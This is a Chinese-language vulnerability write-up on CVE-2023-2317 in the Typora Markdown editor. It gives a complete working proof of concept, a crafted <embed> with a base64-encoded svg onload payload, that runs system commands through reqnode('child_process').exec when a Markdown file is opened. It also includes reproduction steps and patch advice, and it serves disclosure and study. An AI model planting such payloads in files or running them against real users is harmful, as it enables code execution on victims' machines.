Typora 远程代码执行漏洞

2023-11-03

声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

一、产品介绍

Typora 是一款由 Abner Lee 开发的轻量级 Markdown 编辑器,与其他 Markdown 编辑器不同的是,Typora 没有采用源代码和预览双栏显示的方式,而是采用所见即所得的编辑方式,实现了即时预览的功能,但也可切换至源代码编辑模式。

二、漏洞概述

原因:typora协议

Typora内部实现了typora://协议,可以用于Typora访问特定文件。

Typora 1.6.7之前版本存在安全漏洞,该漏洞源于通过在标签中加载 typora://app/typemark/updater/update.html ,可以在Typora主窗口中加载JavaScript代码。

三、漏洞利用

<script src="typora://app/typemark/lib.asar/MathJax3/es5/input/tex/extensions/xypic.js" charset="UTF-8"></script>

这个访问为例,lib.asar位于Typora安装目录的resources文件夹下,而updater.html位于Typora安装目录的updater文件下,所以使用typora://协议访问updater.html应该这样写:

typora://app/typemark/updater/updater.html?a=xxx&b=xxx&c=xxx

构建payload

根据常规思路,我们应该require库child_process然后调用exec参数,但是typora内没有定义require函数,而是使用reqnode函数代替:

因此,Windows环境下的payload可以这样写:

reqnode('child_process').exec("calc")

包在svg标签里实现页面加载:

<svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg>

为了同时在Windows环境和Linux环境生效,我们可以这么写payload:

<svg/onload=top.eval(`reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])`)></svg>

最后对releaseNoteLink、lables两个参数做URI编码,最终Poc为:

<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

base64解码

四、漏洞复现

当在Typora中加载此PoC时,使用DOM-XSS Payload加载updater.html,有效负载在主窗口上执行JavaScript代码,执行系统命令。具体操作如下:

1.下载部署有漏洞版本环境,这里部署版本为

Typora for Windows 1.5.12(下方百度云盘里有安装包)

链接:https://pan.baidu.com/s/12SMngr3Ks3D_OJ1KO17Zgw?pwd=i13d 
提取码:i13d

tips:下载后需要激活,如果只是想复现的话可以不激活

2.新建md文件,写入poc代码,注意类型为html

<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

3.然后打开文件,将进行命令执行。

成功弹出计算器


4.测试视频

上传到平台就好模糊啊,大家将就看吧##

Typora命令执行:CVE-2023-2317

五、修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://support.typora.io/What's-New-1.6/https://buaq.net/go-175535.html?utm_source=feedly
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Typora 远程代码执行漏洞 的相关文章

  • CentOS 查看系统版本和位数

    查看系统版本 方法一 cat etc redhat release 方法二 cat proc version 方法三 uname a 查看系统位数 64 or 32 方法一 getconf LONG BIT 方法二 file bin ls

随机推荐

  • Windows——Active Directory域服务安装与测试

    实验原理 在Windows server 2008 上安装域并创建域用户 将Win7加入到该域中 然后用域账户登录以及用Win7本地账户登录Win7 实验环境 Windows server 2008 域控制器 Win7 加入域的PC 在开始
  • Java线程:新特征-障碍器

    本文转载至 http lavasoft blog 51cto com 62575 222738 Java5中 添加了障碍器类 为了适应一种新的设计需求 比如一个大型的任务 常常需要分配好多子任务去执行 只有当所有子任务都执行完成时候 才能执
  • 多线程面试题摘选

    多线程面试题摘选 一 概念性问答题 1 线程的基本概念 线程的基本状态及状态之间的关系 答 线程是指在程序执行过程中 能够执行程序代码的一个执行单位 每个程序至少都有一个线程 也就是程序本身 java线程的基本状态 运行 就绪 挂起 结束
  • 无人机轨迹学习问题

    无人机轨迹学习 路径跟踪方案 个人总结 1 强化学习 建立一种奖励机制 它最符合人类的学习机制 学习一个最优策略 policy 可以让本体 agent 在特定环境 environment 中 根据当前的状态 state 做出行动 actio
  • ctf.show web2

    单引号无回显也无报错 or 1 1 有回显 order by测试也没特殊回显好像必须要带入sql函数才能回显 直接进行union select 1 查看当前数据库名称 1 or 1 1 union select 1 database 3 l
  • 并发编程系列之Exchanger

    前言 上面我们介绍了信号量 再来说说交换者 这个东西用的不是很多 所以一般也不被经常关注 但是我们还是最好了解下 下面我将从什么是Exchanger以及如何使用Exchanger两个方面谈谈这个用于线程间协调的工具类 什么是Exchange
  • uni-app—从安装到卸载

    uni app 从安装到卸载 简介 uni app官网 uni app 是一个使用 Vue js 开发所有前端应用的框架 开发者编写一套代码 可发布到iOS Android Web 响应式 以及各种小程序 微信 支付宝 百度 头条 QQ 钉
  • spring中的RESTFUL风格是什么?

    什么是RestFul风格 RestFul是一种软件架构风格 设计风格 而不是标准 只是提供了一组设计原则和约束条件 它主要用于客户端和服务器交互类的一种代码编写风格 基于这个风格设计的软件可以更简洁 更有层次 更易于实现缓存等机制 来源 R
  • C++面试集锦

    C 面试集锦 2018年04月24日 18 28 37 草根caogen 阅读数 785 转自 http blog csdn net allen fan 01 article details 9713555 1 new delete mal
  • redis bitmap实现签到

    redis Bitmap 位图本质是数组 它基于string数据类型的按位操作 该数组由多个二进制位组成 每个二进制位都对应一个偏移量 可以成为一个索引或者位格 Bitmap支持的最大位数是232位 它可以极大的节省存储空间 使用512M内
  • 3种常见的渗透测试漏洞总结,快来收藏√

    越权漏洞 越权访问 Broken Access Control 简称BAC 是Web应用程序中一种常见的漏洞 由于其存在范围广 危害大 被OWASP列为Web应用十大安全隐患的第二名 所谓越权 顾名思义即超过当前用户的权力范围 越至不同用户
  • JS"类"中方法的互相调用

    JS 类 中的方法相互调用要加 this 不然无法成功
  • 微服务之nacos、feign、gateway

    文章目录 nacos 简介 配置 父pom pom yaml main RefreshScope 持久化 使用 附 feign 配置 pom main service 超时 使用 两个微服务使用的对象可以不一致 远程调用未携带Cookie等
  • 挖洞小思路

    1 Google语法 不管是在挖掘公益漏洞还是SRC漏洞 都需要使用到Google语法 而本次就对Google语法进行一些总结 1 1 基础语法 当然在挖掘漏洞过程中 可能使用到的语法也就是几个常用的 字符 注释 intext 寻找正文中含
  • AngularJS项目

    1 AngularJS介绍 AngularJS是一个为动态WEB应用设计的结构框架 它能让你使用HTML作为模板语言 通过扩展HTML的语法 让你能更清楚 简洁地构建你的应用组件 它的创新点在于 利用 数据绑定 和 依赖注入 它使你不用再写
  • 什么是埋点?

    埋点大概分成2种 业务埋点 这里埋点的含义就是 预先在用户可能操作的 点 埋下上报的代码 一旦用户发生了操作 我就上报该用户操作的详细信息 一般是要产品或者运营提出需求 在哪里埋点 比如 1 进入某个界面 客户端上报 xx用户进入了xx页面
  • ROS——不同版本间ROS进行通信

    在相同版本间的ROS进行通信不在赘述了 修改 etc hosts文件即可 最近项目遇到在Ubuntu16 04 与Ubuntu18 04两个系统间进行ROS通信 ROS版本分别为Kinetic和Melodic 配置网络后 两边都能够ping
  • 【项目实战】基于Python实现xgboost回归模型(XGBRegressor)项目实战

    说明 这是一个机器学习实战项目 附带数据 代码 文档 代码讲解 如需数据 代码 文档 代码讲解可以直接到文章最后获取 1 项目背景 随着大数据时代的到来 具备大数据思想至关重要 人工智能技术在各行各业的应用已是随处可见 在生产制造业 人工智
  • 自学python转行-强烈建议

    原标题 强烈建议 转行Python最好看一下这篇文章 一 转行要趁早 上面类似的问题群里还有很多 我请了一些不同岗位的嘉宾来给大家分享经验 下面谈谈我的感悟 1 转行如爬树 转行真的要趁早 年轻的时候 试错的代价很小 即使你走错了路还能转回
  • Typora 远程代码执行漏洞

    声明 本文仅用于技术交流 请勿用于非法用途 由于传播 利用此文所提供的信息而造成的任何直接或者间接的后果及损失 均由使用者本人负责 文章作者不为此承担任何责任 一 产品介绍 Typora 是一款由 Abner Lee 开发的轻量级 Mark